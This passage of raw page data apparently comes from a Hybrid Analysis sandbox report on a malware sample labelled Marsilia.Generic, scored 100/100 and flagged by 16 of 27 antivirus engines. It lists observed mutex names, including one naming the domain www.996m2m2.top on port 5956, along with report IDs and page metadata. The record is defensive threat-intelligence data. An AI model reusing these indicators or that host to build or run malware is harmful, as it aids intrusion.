AB8-533F-4C85-B0DC-3E5639F8D511-Session0000","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"name":"SM0:1896:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"name":"Local\\SM0:3272:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"name":"SM0:3272:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"name":"SM0:2816:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"name":"Local\\SM0:2816:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"name":"SM0:3960:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"name":"Local\\SM0:3960:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:3808:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3808:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"RasPbFile","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\07c6bc37dc50874878dcb010336ed906","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\yVeGABPblgLR","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\_SHuassist.mtx","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"_SHuassist.mtx","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"www.996m2m2.top:5956:Rsqgoo sqoeuise","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\www.996m2m2.top:5956:Rsqgoo sqoeuise","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]}]}},"report_ids":{"sandbox_job_ids":["6582fc366c414651220920ce","6582fb6b0e327a9aae078e41","69113ae65b76401a8f094071"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Marsilia.Generic Sample 2e2e035ece4a… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 2e2e035ece4a…. Malware family: Marsilia.Generic. Threat score 100/100. 16/27 AV engines flagged this file. 43 malicious and 29 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/2e2e035ece4accdee838ecaacdc263fa526939597954d18d1320d73c8bf810c2"}],["$","meta","4",{"property":"og:title","content":"Malicious Marsilia.Generic Sample 2e2e035ece4a… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 2e2e035ece4a…. Malware family: Marsilia.Generic. Threat score 100/100. 16/27 AV engines flagged this file. 43 malicious and 29 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/2e2e035ece4accdee838ecaacdc263fa526939597954d18d1320d73c8bf810c2"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Marsilia.Generic Sample 2e2e035ece4a… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 2e2e035ece4a…. Malware family: Marsilia.Generic. Threat score 100/100. 16/27 AV engines flagged this file. 43 malicious and 29 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$Lc7","11",{}]]